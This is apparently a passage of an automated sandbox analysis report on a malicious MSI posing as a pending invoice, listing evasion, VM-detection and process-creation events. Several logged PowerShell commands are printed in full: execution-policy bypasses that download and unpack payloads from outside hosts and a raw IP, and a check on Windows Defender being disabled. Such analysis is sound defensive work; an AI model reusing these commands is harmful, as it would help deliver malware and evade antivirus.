Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5680	Thread sleep count: 7879 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2288	Thread sleep count: 1621 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3796	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1144	Thread sleep count: 4527 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1144	Thread sleep count: 382 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7248	Thread sleep count: 7759 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3520	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep count: 1560 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1340	Thread sleep count: 6553 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1052	Thread sleep count: 3263 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5272	Thread sleep count: 8898 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2008	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5272	Thread sleep count: 361 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2836	Thread sleep count: 1226 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep count: 341 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep count: 8934 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2116	Thread sleep count: 387 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7348	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5304	Thread sleep count: 5607 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5016	Thread sleep count: 3723 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 34 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6444	Thread sleep count: 7788 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep count: 1414 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6560	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep count: 3982 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep count: 3065 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3592	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7088	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6420	Thread sleep count: 794 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6416	Thread sleep count: 100 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1808	Thread sleep count: 8326 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1808	Thread sleep count: 805 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5496	Thread sleep count: 478 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1508	Thread sleep count: 413 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2200	Thread sleep count: 5353 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2844	Thread sleep count: 1931 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4132	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT HypervisorPresent FROM Win32_ComputerSystem

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: chrome.exe, 00000009.00000002.4162938594.0000016802CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: powershell.exe, 0000000D.00000002.1897727781.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000D.00000002.1897727781.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000007.00000002.1850302747.00000000079F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}C
Source: chrome.exe, 00000009.00000002.4162439753.0000016802BF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=32bd1f78-6506-46bd-8a9c-4ff784ad02d7
Source: chrome.exe, 00000009.00000003.2055880152.0000016803404000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ~]lx{tn~lzyqeMu{_tvwpd
Source: svchost.exe, 0000000A.00000002.4154601661.0000021E86E5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000D.00000002.1897727781.00000000043E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svchost.exe, 0000000A.00000002.4148847728.0000021E8582B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: chrome.exe, 00000009.00000002.4160490553.00000168029A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse=
Source: chrome.exe, 00000009.00000002.4180745424.000002DB65C18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000003.00000002.1803403089.0000000008AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZZ

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Fatura931Pendente956.pdf761.msi, type: SAMPLE
Source: Yara match	File source: amsi32_6344.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6344, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Installer\6605ad.msi, type: DROPPED

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1"

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss82F.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss381D.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss4957.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6678.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8908.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA4C2.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssD54C.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1566.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss63D8.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBA2A.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2A2E.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA037.tmp" "c:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP"

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -noprofile -command "& { $folderpath = 'c:\localnow' $fileurl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedfile = join-path $folderpath 'rosa.png' $zipfile = join-path $folderpath 'rosa.zip' $extractedfolder = join-path $folderpath 'extracted' while ($true) { start-sleep -seconds 60 if (!(test-path -path $folderpath)) { write-output 'pasta localnow n o encontrada. aguardando nova verifica o.' continue } # verifica se existe algum arquivo dll na pasta $dllfiles = get-childitem -path $folderpath -filter *.dll -recurse -erroraction silentlycontinue if ($dllfiles -and $dllfiles.count -gt 0) { write-output 'arquivo dll encontrado: $($dllfiles[0].name)' break # sai do loop while } write-output 'arquivo dll n o encontrado. reiniciando o processo.' # limpa a pasta antes de novo download try { get-childitem -path $folderpath -recurse \| remove-item -force -recurse -erroraction stop # download e extra o invoke-webrequest -uri $fileurl -outfile $downloadedfile -erroraction stop rename-item -path $downloadedfile -newname $zipfile -erroraction stop expand-archive -path $zipfile -destinationpath $extractedfolder -force -erroraction stop write-output 'processo de extra o completado com sucesso.' } catch { write-output 'erro durante o processo: $($_.exception.message)' start-sleep -seconds 30 # espera antes de tentar novamente } } exit # encerra o script ap s sair do loop }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe -executionpolicy bypass -noprofile -command "& { $folderpath = 'c:\localnow' $loopcompleted = $false for ($i = 0; $i -lt 3; $i++) { start-sleep -seconds 60 # verifica as chaves do registro $keypath = 'hklm:\software\policies\microsoft\windows defender' $disableantispyware = (get-itemproperty -path $keypath -name 'disableantispyware' -erroraction silentlycontinue).disableantispyware -eq 1 $disableantivirus = (get-itemproperty -path $keypath -name 'disableantivirus' -erroraction silentlycontinue).disableantivirus -eq 1 # se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableantispyware -eq 1 -and $disableantivirus -eq 1) { $loopcompleted = $true break } } # se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopcompleted -and !(test-path -path $folderpath)) { new-item -itemtype directory -path $folderpath -force write-output "pasta c:\localnow criada com sucesso ap s o loop completar." } }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -command "if (-not (test-path 'c:\temp')) { new-item -itemtype directory -path 'c:\temp' -force \| out-null } try { invoke-webrequest -uri 'http://192.124.216.14/vd/sis/downsistem.ps1' -outfile 'c:\temp\downsistem.ps1' -usebasicparsing write-output 'arquivo downsistem.ps1 baixado com sucesso em c:\temp\downsistem.ps1' } catch { write-output 'erro ao baixar o arquivo downsistem.ps1: ' exit 1 }"

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
